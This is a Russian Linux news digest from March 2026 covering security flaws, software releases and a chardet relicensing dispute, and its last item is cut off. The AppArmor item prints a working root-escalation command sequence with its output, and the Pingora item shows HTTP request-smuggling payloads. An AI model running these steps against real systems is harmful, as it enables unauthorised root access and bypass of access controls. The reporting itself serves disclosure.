| · | 13.03.2026 | Уязвимости в AppArmor, позволяющие получить root-доступ в системе (72 +17) |
|
Компания Qualys выявила 9 уязвимостей в системе мандатного управления доступом AppArmor, наиболее опасные из которых позволяют локальному непривилегированному пользователю получить права root в системе, выйти из изолированных контейнеров и обойти ограничения, заданные через AppArmor. Уязвимости получили кодовое имя CrackArmor. CVE-идентификаторы пока не назначены. Успешные примеры повышения привилегий продемонстрированы в Ubuntu 24.04 и Debian 13.
Проблемы присутствуют в LSM-модуле AppArmor начиная с ядра Linux 4.11, выпущенного в 2017 году, и проявляются в дистрибутивах, использующих AppArmor, таких как Ubuntu, Debian, openSUSE и SUSE (начиная с openSUSE/SUSE 16 по умолчанию задействован SELinux, но AppArmor оставлен в качестве опции). Патчи с устранением уязвимостей переданы разработчикам ядра Linux и в ближайшие дни будут предложены пользователям в составе обновлений 6.18.18, 6.19.8, 6.12.77, 6.6.130, 6.1.167, 5.15.203 и 5.10.253. Исправление также включено в сегодняшние обновления пакетов с ядром для Ubuntu. Попутно в Ubuntu выпущены обновления пакетов sudo, sudo-ldap и util-linux (в состав входит утилита su), в которых устранены недоработки, позволявшие эксплуатировать уязвимость в AppArmor. В Debian обновление в процессе подготовки. Проблемы вызваны наличием в AppArmor фундаментальной уязвимости класса "обманутый посредник" ("confused-deputy"), позволяющей непривилегированным пользователям загружать, заменять и удалять произвольные профили AppArmor. Данная уязвимость напрямую может использоваться для отключения защиты программ и сервисов от локальных и удалённых атак (через запись псевдофайлов /sys/kernel/security/apparmor/.load, .replace и .remove, например, для снятия ограничений в cupsd и rsyslogd), вызова отказа в обслуживании (через применение запрещающих профилей) и обхода ограничений пространств имён (через загрузку нового AppArmor-профиля "userns", например, для /usr/bin/time, позволяющего создавать неограниченные user namespace). Возможность замены профилей AppArmor также позволяет добиться получения root-привилегий через привязку к привилегированным утилитам, таким как su и sudo, новых профилей, блокирующих доступ к некоторым системным вызовам. В частности, права root можно получить блокировав операцию setuid (CAP_SETUID) для утилиты sudo в сочетании с манипуляцией переменной окружения MAIL_CONFIG для смены каталога с настройками для почтового сервера Postfix. Суть метода в том, что при возникновении проблем утилита sudo отправляет администратору письмо, запуская /usr/sbin/sendmail. Блокировав сброс привилегий можно добиться запуска данного процесса с правами root, а выставив перед запуском sudo переменную окружения MAIL_CONFIG можно передать утилите sendmail другие настройки, в том числе указать свой обработчик postdrop, запускаемый при отправке почты.
$ mkdir /tmp/postfix
$ cat > /tmp/postfix/main.cf << "EOF"
command_directory = /tmp/postfix
EOF
$ cat > /tmp/postfix/postdrop << "EOF"
#!/bin/sh
/usr/bin/id >> /tmp/postfix/pwned
EOF
$ chmod -R 0755 /tmp/postfix
$ apparmor_parser -K -o sudo.pf << "EOF"
/usr/bin/sudo {
allow file,
allow signal,
allow network,
allow capability,
deny capability setuid,
}
EOF
$ su -P -c 'stty raw && cat sudo.pf' "$USER" > /sys/kernel/security/apparmor/.replace
Password:
$ env -i MAIL_CONFIG=/tmp/postfix /usr/bin/sudo whatever
sudo: PERM_SUDOERS: setresuid(-1, 1, -1): Operation not permitted
sudo: unable to open /etc/sudoers: Operation not permitted
sudo: setresuid() [0, 0, 0] -> [1001, -1, -1]: Operation not permitted
sudo: error initializing audit plugin sudoers_audit
$ cat /tmp/postfix/pwned
uid=0(root) gid=1001(jane) groups=1001(jane),100(users)
В качестве других способов повышения привилегий упоминаются уязвимости в коде AppArmor, работающем на уровне ядра Linux. Показано как получить права root при помощи уязвимостей, вызванных двойным выполнением функции free() и обращением к уже освобождённой области памяти (use‑after‑free) в коде загрузки и замены профилей AppArmor. Например, AppArmor сохраняет профиль в структуре aa_loaddata, память для которой выделяется в slab-кэше kmalloc-192, при этом из-за состояния гонки не исключено обращение к памяти, которую занимала структура, после её освобождения. Данную проблему можно использовать для получения контроля над освобожденной памятью и перераспределения освобождённой страницы памяти для маппинга содержимого файла /etc/passwd и перезаписи строки с паролем root.
| ||
|
Обсуждение (72 +17) |
Тип: Проблемы безопасности |
| ||
| · | 13.03.2026 | Уязвимость в GSSAPI-патче к OpenSSH, удалённо эксплуатируемая на стадии до аутентификации (64 +5) |
|
В применяемом во многих дистрибутивах Linux патче gssapi.patch, добавляющем в OpenSSH поддержку обмена ключей на базе GSSAPI, выявлена уязвимость (CVE-2026-3497), приводящая к разыменованию указателя, повреждению памяти и обходу механизма разделения привилегий (Privsep). Уязвимость может быть эксплуатирована удалённо на стадии до осуществления аутентификации. Выявивший проблему исследователь продемонстрировал инициирование аварийного завершения процесса через отправку на SSH-сервер одного модифицированного сетевого пакета. Не исключается, что помимо отказа в обслуживании, существуют более опасные варианты эксплуатации уязвимости.
Примечательно, что в своё время разработчики OpenSSH отказались принимать в основной состав изменение для поддержки GSSAPI из-за сомнений в его безопасности. При этом многие дистрибутивы Linux включили данный патч в свои пакеты c OpenSSH. В обиходе встречается несколько версий GSSAPI-патча, но в большинстве из них имеется приводящая к уязвимости ошибка. Исправление пока доступно только в форме патча, изменения в котором сводятся к замене вызова функции sshpkt_disconnect() на ssh_packet_disconnect() в файле kexgsss.c. В настоящее время наличие уязвимости подтверждено в Debian и Ubuntu. В остальных дистрибутивах применение проблемного патча и его подверженность уязвимости уточняется (SUSE/openSUSE, RHEL, Gentoo, Arch, Fedora). Уязвимость проявляется только при включении в настройках опции "GSSAPIKeyExchange yes". На возможность эксплуатации также влияют опции компилятора с которыми в дистрибутивах собран пакет. Причиной возникновение уязвимости является ошибка в функции sshpkt_disconnect(), из-за которой процесс не завершался после поступления disconnect-сообщения, что позволяло атакующему на стадии согласования ключей отправить не предусмотренный логикой работы сервера тип GSSAPI-сообщения. После поступления внепланового GSSAPI-сообщения, сервер помещает его в очередь и не прерывает выполнение программы, но при этом не инициализирует переменные, определяющие параметры соединения. В дальнейшем в цикле обработки событий выполняется код, который читает неинициализированную структуру recv_tok из стека (читаются данные, оставшиеся в стеке от прошлого вызова функции), отправляет её привилегированному процессу через IPC и затем передаёт в функцию gss_release_buffer(), которая может вызвать функцию free() и освободить память для некорректного указателя, ссылающегося на случайную область памяти.
| ||
|
Обсуждение (64 +5) |
Тип: Проблемы безопасности |
| ||
| · | 13.03.2026 | Предложение по переводу системных логов lastlog, btmp, utmp и wtmp на использование SQLite (147 +10) |
|
В списке рассылки linux-api выставлено на обсуждение предложение (RFC) заменить устаревшие бинарные форматы системных журналов lastlog, btmp, utmp и wtmp на новые разделяемые библиотеки, использующие SQLite в качестве бэкенда. Инициатива направлена на решение накопившихся проблем, среди которых переполнение 32-разрядных счётчиков времени в 2038 году, отсутствие расширяемости, низкая производительность запросов и отсутствие атомарности при записи.
В настоящее время для хранения данных о сеансах и попытках аутентификации в Linux используются следующие бинарные файлы, имеющие фиксированную структуру:
Формат данных файлов был разработан несколько десятилетий назад и имеет ряд фундаментальных ограничений:
Автор RFC предлагает полностью отказаться от бинарных форматов в пользу специализированных разделяемых библиотек, использующих SQLite. Для каждого типа журналов создаётся отдельная библиотека с единообразным C-интерфейсом: liblastlog2, libbtmp2, libutmp2 и libwtmp2. Все библиотеки работают с БД, схема которых включает 64-разрядные временные метки (тип INTEGER) и индексы по пользователю и времени. Имеется возможность добавления новых полей без нарушения совместимости (через ALTER TABLE). Среди доводов в пользу использования SQLite упоминается использование 64-разрядного типа INTEGER для хранения эпохального времени, задействование индексов для снижения ввода/вывода за счёт выборочного обращения к записями вместо полного сканирования, возможность добавления новых полей без изменения существующих записей, поддержка ACID-транзакций, режим WAL (Write-Ahead Logging) для конкурентного доступа без блокировок, проверенная надёжность работы SQLite. Для обеспечения плавного перехода предлагается стратегия "двойной записи" (dual-write):
Вопросы, выставленные для дополнительного обсуждения:
| ||
| · | 12.03.2026 | Компания Igalia представила Moonforge, дистрибутив для встраиваемых систем (11 +8) |
|
Компания Igalia, известная своим участием в разработке таких свободных проектов, как GNOME, GTK, WebKitGTK, Epiphany, Maemo, GStreamer, Wine, Mesa и freedesktop.org, представила проект Moonforge, упрощающий создание и сопровождение собственных Linux-дистрибутивов для различных устройств и встраиваемых систем. Начинка дистрибутива формируется на основе сборочного инструментария и метаданных пакетов от проектов OpenEmbedded и Yocto. Специфичные для проекта наработки распространяются под лицензией MIT.
Moonforge предоставляет разработчикам и системным интеграторам каркас, набор файлов конфигурации и коллекцию компонентов для формирования атомарно обновляемых системных образов, основанных на применении уже проверенных и распространённых в индустрии технологий, таких как yocto, bitbake и kas. Для сформированных образов поддерживается упрощённый процесс установки обновлений и обеспечивается длительный цикл сопровождения. Основная цель проекта - предоставить разработчикам встраиваемых систем удобный инструментарий, дающий возможность сосредоточиться на развитии специфичной для их продукта функциональности и не тратить время на задачи, связанные с формированием и поддержанием дистрибутива. Системный образ компонуется из набора готовых модулей Yocto. Каждый модуль отвечает за определённую возможность или поддержку конкретной целевой аппаратной платформы. Например, предлагаются модули для поддержки Docker, QEMU или Podman, управления обновлениями через RAUC, формирования графического интерфейса на базе композитного сервера Weston, запуска браузерного интерфейса на базе Webkit для интернет-киосков и сборки для плат Raspberri Pi 4 и 5. Поддерживается три канала распространения релизов: stable (стабильная LTS-ветка), next (ветка, в которой развивается следующий LTS-релиз) и main (экспериментальная ветка, в которой ведётся разработка). Каждая ветка привязана к своей версии набора компонентов Yocto. Стабильная ветка обновляется раз в месяц и соответствует LTS-релизам Yocto. Обновления доставляются в режиме OTA (Over-The-Air) с использованием инструментария Mender и устанавливаются атомарно через замену целиком всей системы. На накопителе создаётся два идентичных корневых раздела - активный и пассивный. Новое обновление устанавливается в пассивный раздел, никак не влияя на работу активного. После перезагрузки разделы меняются местами - раздел с новым обновлением становится активным, а прошлый активный раздел переводится в пассивный режим и ожидает установки следующего обновления. Если после обновления что-то пошло не так, осуществляется откат на прошлый вариант системы. Для создания системных образов используется инструментарий BitBake, а для формирования конфигурации и обеспечения воспроизводимых сборок - kas. Сборки, обновления, отчёты об уязвимостях и метаданные SBOM (Software Bill of Materials) автоматически собираются и публикуются с использованием систем непрерывной интеграции и непрерывного развёртывания (CI/CD). Сборочная инфраструктура на базе Moonforge может быть развёрнута как на локальных серверах, так и в публичных или приватных облачных окружениях. Для прозрачности и предсказуемости процессов создания производных продуктов в дистрибутиве применяется жёсткое разделение между upstream- и downstream-компонентами, позволяющее разработчикам при необходимости добавлять дополнительную функциональность поверх базовой начинки. Конфигурация определяется в декларативном представлении, используя формат YAML, и охватывает такие области как подключение внешних репозиториев, активация модулей Yocto, управление зависимостями между компонентами дистрибутива, применение дополнительных патчей и изменение применяемых по умолчанию системных настроек.
| ||
|
Обсуждение (11 +8) |
Тип: Программы |
Интересно
| ||
| · | 11.03.2026 | Бета-тестирование Fedora Linux 44. Инициатива по продвижению инноваций в Fedora (104 +11) |
|
Представлена бета-версия дистрибутива Fedora Linux 44, ознаменовавшая переход на финальную стадию тестирования, при которой допускается только исправление критических ошибок. Релиз запланирован на 14 апреля. Выпуск охватывает Fedora Workstation, Fedora KDE Plasma Desktop, Fedora Server, Fedora IoT, Fedora CoreOS, Fedora Cloud Base, Fedora IoT Edition, Fedora Silverblue, Fedora Kinoite и Live-сборки, поставляемые в форме спинов c пользовательскими окружениями Xfce, MATE, Cinnamon, LXDE, Phosh, Miracle, LXQt, Budgie, Sway и Cosmic. Сборки сформированы для архитектур x86_64, Power64 и ARM64 (AArch64).
Наиболее значимые изменения в Fedora Linux 44:
Дополнительно можно отметить инициативу по реформированию процесса разработки Fedora, выставленную на обсуждение Джефом Спалета (Jef Spaleta), лидером проекта Fedora. Джеф предлагает создать "песочницу" для упрощения тестирования новых идей и экспериментирования с новыми технологиями в дистрибутиве, без риска снижения стабильности основного проекта. Предполагается, что инновационные идеи по развитию дистрибутива будут развиваться бок о бок с основным дистрибутивом, и со временем могут быть интегрированы в основной состав в случае выполнения определённых условий, подтверждения ценности для проекта и наличия интереса других разработчиков. Жизненный цикл экспериментальных технологий подразумевает наличие нескольких этапов становления с рецензированием в контрольных точках, привязанных ко времени, и переходом на другой этап после достижения соответствия определённым для каждого этапа критериям.
| ||
|
Обсуждение (104 +11) |
Тип: Программы |
| ||
| · | 11.03.2026 | 10 уязвимостей в GStreamer, приводящих к удалённому выполнению кода (72 +14) |
В мультимедийном фреймворке GStreamer, используемом в GNOME, выявлено 10 уязвимостей, все из которых помечены как допускающие удалённое выполнение кода при обработке некорректно оформленных мультимедийных данных в форматах AVI, RTP, H.266, JPEG, ASF и RealMedia, а также субтитров DVB-SUB. Двум проблемам присвоен уровень опасности 8.8 из 10, а остальным 7.8. Восемь уязвимостей приводят к записи данных за пределы буфера, а две к целочисленному переполнению.
Библиотека GStreamer применяется для разбора мультимедийных файлов в приложениях Nautilus (GNOME Files), GNOME Videos и Rhythmbox, а также в развиваемом проектом GNOME поисковом движке localsearch (ранее назывался tracker-miners). Данный движок устанавливается во многих дистрибутивах в качестве зависимости к пакету tracker-extract, применяемому в GNOME для автоматического разбора метаданных в новых файлах. Среди прочего, указанный сервис индексирует все файлы в домашнем каталоге без каких-либо действий со стороны пользователя. Таким образом, для атаки достаточно добиться появления в каталоге пользователя специально созданного мультимедийного файла и уязвимость будет эксплуатирована во время его автоматической индексации. В большинстве дистрибутивов с GNOME компоненты localsearch (tracker-miners) активируются по умолчанию и загружаются как жёсткая зависимость к файловому менеджеру Nautilus (GNOME Files). При этом начиная c GNOME 46 процесс localsearch запускается с использованием sandbox-изоляции. Для отключения извлечения метаданных можно удалить файлы с правилами из каталога /usr/share/localsearch3/extract-rules/ или /usr/share/tracker3-miners/extract-rules/. Уязвимости устранены в обновлении GStreamer 1.28.1. Статус устранения уязвимостей в дистрибутивах можно оценить на данных страницах (если страница недоступна, значит разработчики дистрибутива ещё не приступили к рассмотрению проблемы): Debian, Ubuntu, SUSE, RHEL, Gentoo, Arch, Fedora, FreeBSD.
| ||
|
Обсуждение (72 +14) |
Тип: Проблемы безопасности |
| ||
| · | 10.03.2026 | Уязвимости в проекте Pingora, позволяющие вклиниться в сторонние запросы (117 +19) |
|
Компания Cloudflare объявила об устранении трёх уязвимостей во фреймворке Pingora, двум из которых присвоен критический уровень опасности (9.3 из 10). Фреймворк Pingora написан на языке Rust и предназначен для разработки защищённых высокопроизводительных сетевых сервисов. Построенный при помощи Pingora прокси используется в сети доставки контента Cloudflare и обрабатывает более 40 млн запросов в секунду. Уязвимости устранены в выпуске Pingora 0.8.0.
Две наиболее опасные уязвимости допускают проведение атак класса "HTTP Request Smuggling", позволяющих обходить системы ограничения доступа и вклиниваться в содержимое запросов других пользователей, обрабатываемых в том же потоке между фронтэндом и бэкендом (например, для подстановки вредоносного JavaScript-кода в сеанс другого пользователя с сайтом). Проблемы выявлены участником программы Bug Bounty, предусматривающей выплату вознаграждения за обнаружение уязвимостей. В схеме с обращением к бэкенду через обратный прокси запросы клиентов принимает дополнительный узел, который устанавливает длительно действующее TCP-соединение с бэкендом, осуществляющим непосредственную обработку запросов. Через данное общее соединение обычно передаются запросы разных пользователей, которые следуют по цепочке один за другим с разделением средствами протокола HTTP. Атаки класса HTTP Request Smuggling возникают из-за разной трактовки HTTP-заголовков и спецификаций протокола HTTP на фронтэндах и бэкендах, например, когда фронтэнд использует для определения размера запроса HTTP-заголовок "Content-Length", а бэкенд "Transfer-Encoding: chunked". Первая уязвимость CVE-2026-2835 присутствует в коде разбора запросов HTTP/1.0 и вызвана некорректной обработкой заголовка "Transfer-Encoding" с несколькими значениями, а также использованием закрытия соединения как признака конца тела запроса (close-delimited). Pingora проверял только вариант "Transfer-Encoding: chunked" и игнорировал данный заголовок, если в нём указывалось несколько значений. В этой ситуации Pingora не учитывал размер в заголовке "Content-Length", а считал телом запроса все данные, полученные до закрытия соединения. Через указание нескольких значений в заголовке "Transfer-Encoding" атакущий мог создать условия, при которых на бэкенд перенаправлялся запрос, фактический размер которого не соответствовал размеру chunked-цепочки, вычисленному на основе заголовка "Transfer-Encoding. Pingora перенаправлял все полученные данные как один запрос, а бэкенд, например, Node.js, вычислял запрос на основе "Transfer-Encoding: chunked" и оставшийся хвост обрабатывал как начало другого запроса. GET / HTTP/1.0 Host: example.com Connection: keep-alive Transfer-Encoding: identity, chunked Content-Length: 29 0 GET /admin HTTP/1.1 X:  Вторая уязвимость CVE-2026-2833 вызвана некорректной обработкой HTTP-заголовка "Upgrade" в запросах HTTP/1.1. При наличии в запросе заголовка "Upgrade" прокси сразу пробрасывал к бэкенду и остальные данные запроса, следующие за заголовком "Upgrade", не дожидаясь от бэкенда ответа с кодом 101 (Switching Protocols). Из-за этого синхронизация потока между прокси и бэкендом нарушалась и бэкенд воспринимал отправленные после заголовка "Upgrade" данные как отдельный запрос, и отправлял результат выполнения этого запроса в ответ на пришедший следом запрос другого пользователя. GET / HTTP/1.1 Host: example.com Upgrade: foo GET /admin HTTP/1.1 Host: example.com   Проблемы проявляются при использовании Pingora в форме обратного прокси (ingress proxy), транслирующего запросы пользователей к бэкендам с использованием протоколов HTTP/1.0 или HTTP/1.1. Применяемая в сети доставки контента Cloudflare конфигурация Pingora не позволяла эксплуатировать уязвимости, так как Pingora в CDN не используется в роли ingress-прокси, перенаправляет запросы только с использованием протокола HTTP/1.1, блокирует запросы с некорректными значениями Content-Length, перенаправляет только одно значение заголовка "Transfer-Encoding: chunked" и подставляет в запросы с заголовком "Upgrade:" дополнительный заголовок "Connection: close", не позволяющий передавать дополнительные запросы в том же соединении. Третья уязвимость CVE-2026-2836 (степень опасности 8.4 из 10) приводит к отравлению кэша (cache poisoning) из-за генерации ключа размещения данных в кэше (CacheKey) только на основе пути из URI, игнорируя содержимое заголовка "Host". Подобная недоработка приводит к формированию одинаковых ключей кэширования для одинаковых HTTP-путей к разным хостам. Уязвимость может использоваться для подмены содержимого кэша при использовании режима кэширования для нескольких хостов. В Pingora кэширование является экспериментальной функцией, не рекомендованной для рабочих внедрений.
| ||
|
Обсуждение (117 +19) |
Тип: Проблемы безопасности |
| ||
| · | 10.03.2026 | Релиз FreeBSD 14.4 (210 +30) |
|
После девяти месяцев разработки сформирован релиз FreeBSD 14.4. Установочные образы подготовлены для архитектур amd64, i386, aarch64, armv7, powerpc, powerpc64 и riscv64. Дополнительно подготовлены сборки для систем виртуализации (QCOW2, VHD, VMDK, raw) и облачных окружений Amazon EC2, Google Compute Engine и Vagrant.
Следующее обновление FreeBSD 14.5 запланировано на сентябрь 2026 года. Поддержка нынешнего выпуска FreeBSD 14.4 будет осуществляться до 31 декабря 2026 года, а прошлого выпуска FreeBSD 14.3 - до 30 июня 2026 года. В целом ветка FreeBSD 14 будет сопровождаться до 30 ноября 2028 года, а ветка FreeBSD 13.x до 30 апреля 2026 года. Параллельно развивается ветка FreeBSD 15, следующий выпуск (15.1) в которой намечен на 2 июня 2026 года. Основные изменения во FreeBSD 14.4:
| ||
|
Обсуждение (210 +30) |
Тип: Программы |
| ||
| · | 09.03.2026 | Проект Arduino представил одноплатный компьютер VENTUNO Q (72 +21) |
|
Проект Arduino, который в прошлом году поглотила компания Qualcomm, анонсировал одноплатный компьютер VENTUNO Q, совмещающий в одном устройстве микроконтроллер STM32H5F5 и микропроцессор Qualcomm Dragonwing IQ8 со встроенными GPU и AI-ускорителем. Основным назначением платы является создание автономных AI-устройств, способных решать задачи компьютерного зрения и обособленно выполнять модели машинного обучения.
В качестве примеров применения VENTUNO Q упоминается создание роботов, умных киосков, анализаторов потоков трафика, ассистентов для слежением за здоровьем, систем контроля за качеством на предприятиях. При подключении монитора, клавиатуры и мыши плату можно использовать в качестве рабочей станции разработчика, поддерживающей запуск Arduino App Lab. Устройство совместимо с платами расширения и дополнениями, уже выпускаемыми для плат Arduino UNO. Дата поступления в продажу и стоимость VENTUNO Q пока не объявлена. Микропроцессор Qualcomm Dragonwing IQ8 (IQ-8275) включает в себя 8-ядерный CPU Arm Cortex, GPU Arm Cortex A623 (877 MHz), процессор обработки изображений (ISP) Qualcomm Spectra 692 и AI-ускоритель (NPU) Hexagon Tensor AI с заявленной производительностью 40 триллионов операций в секунду. Система оснащена 16 ГБ ОЗУ и 64 ГБ eMMC-накопителем. Для расширения постоянной памяти доступен коннектор M.2 для накопителей NVME Gen.4. Заявлена поддержка запуска Ubuntu и Debian. Микроконтроллер STM32H5F5 включает в себя ядро Arm Cortex M33 250MHz, 4 МБ Flash и 1.5 МБ ОЗУ. Поддерживается запуск RTOS Zephyr, обеспечена полная совместимость с операционной системой ROS 2 (Robot Operating System 2) и инструментарием Arduino App Lab. Для подключения периферийных устройств, датчиков и шаговых двигателей предусмотрены интерфейсы GPIO, PWM и CAN-FD. Кроме того, плата оснащена Wi-Fi 6 2.4/5/6 GHz, Bluetooth 5.3, 2.5Gbit Ethernet (RJ45), HDMI для подключения монитора, MIPI DSI для подключения сенсорных экранов и интерактивных панелей, тремя коннекторами MIPI CSI для камер, USB-C с поддержкой подключения монитора и камеры, двумя USB 3.0 Type A, двумя USB 3.0, аудиовыходом. Размер 160 x 100 x 25.8 мм.  Подразумевается, что микропроцессор Qualcomm Dragonwing IQ8 используется для запуска управляющей операционной системы и выполнения AI-моделей, а микроконтроллер STM32H5F5 отвечает за управления двигателями и реагирования на информацию с датчиков в реальном времени. Для взаимодействия с микроконтроллером из Linux предоставляется готовая RPC-библиотека (Remote Procedure Call). Для NPU предлагаются готовые библиотеки для локального выполнения моделей машинного обучения, такие как Qwen для локальной обработки запросов на естественном языке, Qwen VLM для распознавания текста, определения объектов на изображениях и описания сцены, Melo TTS и Whisper для распознавания речи и формирования транскрипции, MediaPipe для распознавания управляющих жестов и отслеживания движения рук, YOLO-X для отслеживания движения людей, машин и объектов перед камерой, PoseNet для определения позы человека.
| ||
|
Обсуждение (72 +21) |
Тип: К сведению |
| ||
| · | 08.03.2026 | Выпуск системы потокового видеовещания OBS Studio 32.1 (26 +21) |
|
Опубликован выпуск OBS Studio 32.1, пакета для потокового вещания, композитинга и записи видео. Код написан на языках C/C++ и распространяется под лицензией GPLv2. Сборки сформированы для Linux (flatpak), Windows и macOS.
Целью разработки OBS Studio было создание переносимого варианта приложения Open Broadcaster Software (OBS Classic), не привязанного к платформе Windows, поддерживающего OpenGL и расширяемого через плагины. Отличием также является использование модульной архитектуры, подразумевающей разделение интерфейса и ядра программы. Поддерживается перекодирование исходных потоков, захват видео во время игр и стриминг в PeerTube, Twitch, Facebook Gaming, YouTube, DailyMotion и другие сервисы. Для обеспечения высокой производительности возможно использование механизмов аппаратного ускорения (например, NVENC, Intel QSV, Apple Video Toolbox и VAAPI). Предоставляется поддержка композитинга с построением сцены на основе произвольных видеопотоков, данных с web-камер, карт захвата видео, изображений, текста, содержимого окон приложений или всего экрана. В процессе вещания допускается переключение между несколькими предопределёнными вариантами сцен (например, для переключения представлений с акцентом на содержимое экрана и изображение с web-камеры). Программа также предоставляет инструменты для микширования звука, фильтрации при помощи VST-плагинов, выравнивая громкости и подавления шумов. Ключевые изменения:
| ||
|
Обсуждение (26 +21) |
Тип: Программы |
| ||
| · | 08.03.2026 | Доступен графический тулкит GTK 4.22 со встроенным движком отрисовки SVG (52 +3) |
|
После шести месяцев разработки опубликован релиз многоплатформенного тулкита для создания графического интерфейса пользователя - GTK 4.22. GTK 4 развивается в рамках процесса разработки, который пытается предоставить разработчикам приложений стабильный и поддерживаемый в течение нескольких лет API, который можно использовать не опасаясь, что каждые полгода придётся переделывать приложения из-за изменения API в очередной ветке GTK.
Среди заметных улучшений в GTK 4.22:
| ||
|
Обсуждение (52 +3) |
Тип: Программы |
| ||
| · | 08.03.2026 | Продемонстрировано превращение Sony PlayStation 5 в игровой ПК с Linux (125 +69) |
|
Энди Нгуен (Andy Nguyen), исследователь безопасности, работающий в Google, объявил о портировании Linux для Sony PlayStation 5 и продемонстрировал превращение данной игровой консоли в полноценный игровой ПК с Ubuntu 24.04.4, способный выполнять Steam и запускать современные 3D-игры. Производительности подготовленного Linuх-окружения оказалось достаточно для запуска игры GTA5 с включённой трассировкой лучей (режим "High RT") при разрешении 1440p и частоте обновления 60 кадров в секунду.
В подготовленной системе на базе ядра Linux 6.19 полностью работает звук и видео с качеством 4K через HDMI, а также поддерживаются все USB-порты. Рабочая конфигурация запущена с выставлением для CPU частоты 3.2 GHz, а для GPU - 2.0 GHz. Отмечается, что частота может быть дополнительно разогнана до 3.5 GHz для CPU и 2.23 Ghz для GPU, но в этом случае игровая консоль PS5 Slim быстро перегревалась. Для обхода верификации загрузчика и загрузки Linux-дистрибутива вместо штатной прошивки задействован эксплоит Byepervisor, работающий только со старыми версиями прошивок (1.xx-2xx) и эксплуатирующий две уязвимости в гипервизоре. Для поддержки GPU AMD, специфичного для PlayStation 5, подготовлен патч для Mesa, который предложен для включения в основной состав Mesa. В Sony Playstation 5 используется APU AMD со встроенным сопроцессором PSP (Platform Security Processor), обеспечивающим управление ключами. На первой стадии загрузки запускается доступный только на чтение код из BootROM, использующий корневые ключи для верификации загрузчика по цифровой подписи, жёстко прошитые на этапе производства чипа. Если верификация прошла успешно, на второй стадии запускается загрузчик (Bootloader), который отвечает за запуск и верификацию ядра ОС или гипервизора. При использовании эксплоита Byepervisor вмешательство в работу для запуска Linux производится на стадии гипервизора. На первом этапе для запуска собственных исполняемых файлов в формате ELF на уровне основной прошивки применяется эксплоит UMTX, эксплуатирующий WebKit при обработке web-контента, или эксплоит, эксплуатирующий уязвимость в обработчике BD-J при вставке специально оформленного диска Blu-ray. На втором этапе через загрузчик запускается эксплоит byepervisor.elf, переводящий систему в состояние восстановления прошивки.   
| ||
|
Обсуждение (125 +69) |
Тип: К сведению |
| ||
| · | 08.03.2026 | Выпуск среды рабочего стола Budgie 10.10.2 (27 +1) |
|
Представлен выпуск среды рабочего стола Budgie 10.10.2, второе обновление ветки, переведённой на использование протокола Wayland. Одновременно сформированы аналогичные выпуски для сопутствующих компонентов, таких как рабочий стол Budgie Desktop View, интерфейс для настройки системы Budgie Control Center (форк GNOME Control Center) и набор сервисов Budgie Desktop Services (обновление менеджера сеансов Budgie Session задерживается). Код проекта распространяется под лицензией GPLv2.
Пакеты с Budgie 10.10.2 доступны в Fedora Rawhide и войдут в состав дистрибутивов Fedora 44 и Ubuntu Budgie 26.04.
Основу Budgie составляет панель, близкая по организации работы к классическим панелям рабочего стола. Все элементы панели являются апплетами, что позволяет гибко настраивать состав, менять размещение и заменять реализации основных элементов панели на свой вкус. Среди доступных апплетов можно отметить классическое меню приложений, систему переключения задач, область со списком открытых окон, просмотр виртуальных рабочих столов, индикатор управления питанием, апплет управления уровнем громкости, индикатор состояния системы и часы.  Среди изменений в новой версии:
| ||
|
Обсуждение (27 +1) |
Тип: Программы |
| ||
| · | 07.03.2026 | До 10% аварийных завершений Firefox вызваны аппаратными проблемами с памятью (205 +36) |
|
Габриэле Свельто (Gabriele Svelto), инженер из компании Mozilla, опубликовал результаты анализа связи аварийных завершений работы Firefox с искажениями битов памяти, вызванных аппаратными проблемами. Из полученных за последнюю неделю 470 тысяч отчётов об аварийных завершениях Firefox, в 25 тысячах случаев в качестве причины определено потенциальное возникновение искажения битов из-за нестабильной работы чипов памяти.
Указано, что эта лишь консервативная эвристика, занижающая показатели, а реальное число сбоев из-за проблем с памятью может достигать 10%. Иными словами, до 10% всех аварийных завершений работы Firefox вызваны не ошибками в коде, а аппаратными дефектами. Если не учитывать сбои из-за проблем, связанных с исчерпанием доступной памяти, то доля крахов из-за искажения битов памяти достигает 15%. Для подтверждения сбоев из-за искажения битов разработан инструментарий проверки корректности работы оперативной памяти, запускаемый на системах пользователей после аварийного завершения. Для подкрепления гипотезы о значительном влиянии дефектов памяти на сбои, пользователям было предложено выполнить тестирование памяти. На каждые два падения, которые предполагалось, что вызваны искажением битов памяти, тест памяти выявлял одну реальную аппаратную проблему, при том что тестирование проводилось не больше 3 секунд и охватывало только первые 1 ГБ памяти.
| ||
|
Обсуждение (205 +36) |
Тип: К сведению |
| ||
| · | 06.03.2026 | Переписывание кода при помощи AI для перелицензирования открытых проектов (236 –2) |
|
Дэн Бланшар (Dan Blanchard), разработчик Python-библиотеки chardet для определения кодировки символов, выпустил новую версию библиотеки под лицензией MIT вместо ранее применявшейся лицензии LGPL. Разработчик утверждает, что AI-ассистент Anthropic Claude, который теперь числится в списке контрибьюторов, переписал библиотеку без использования оригинального кода, что позволило ему заменить копилефт лицензию на пермиссивную.
К обсуждению данного действия присоединился пользователь, который представился Марком Пилгримом (Mark Pilgrim), первоначальным создателем библиотеки (к сожалению учётная запись этого пользователя пустая и проверить является ли он тем кем представился невозможно), и заявил, что у Дэна нет прав изменять лицензию проекта. Марк поставил под сомнение то, что новая ветка была создана с использованием метода "чистой комнаты", при котором для исключения нарушения авторских прав аналогичный продукт формируется на основе спецификаций и без доступа к исходному коду оригинала. По мнению Марка, добавление модного AI-генератора кода в процесс разработки не даёт права на смену лицензии. Дэн возразил, что он сравнил разные версии при помощи библиотеки для обнаружения плагиата JPlag и сходство между версиями 7.0.0 и 6.0.0 составило 1.29%, а между версиями 1.1 и 7.0 - 0.64%. По словам Дэна, ни один файл в кодовой базе версии 7.0.0 не похож по структуре ни на один файл из любого предыдущего релиза. Новая ветка развивалась в отдельном пустом репозитории без доступа к старому дереву исходного кода. Кроме того, AI-агенту Claude была дана явная инструкция не основываться при разработке на коде, поставляемом под лицензиями LGPL и GPL. Дэн также указал, что так как он уже более 10 лет занимается сопровождением проекта, он не мог полностью выполнить все требования метода "чистой комнаты", который предполагает жёсткое разделение между людьми, знакомыми с оригиналом, и теми, кто пишет новую реализацию. Поэтому для того, чтобы подтвердить, что новый код не является производным от оригинала, он воспользовался доказательством структурной независимости кода. Дэн рассказал, что хотел, чтобы библиотека chardet была включена в стандартную библиотеку Python, так как она является ключевой зависимостью для множества проектов на Python. Но интеграции мешали три препятствия - лицензия, скорость и точность. В результате проведённой работы скорость обнаружения кодировки библиотекой увеличилась в 48 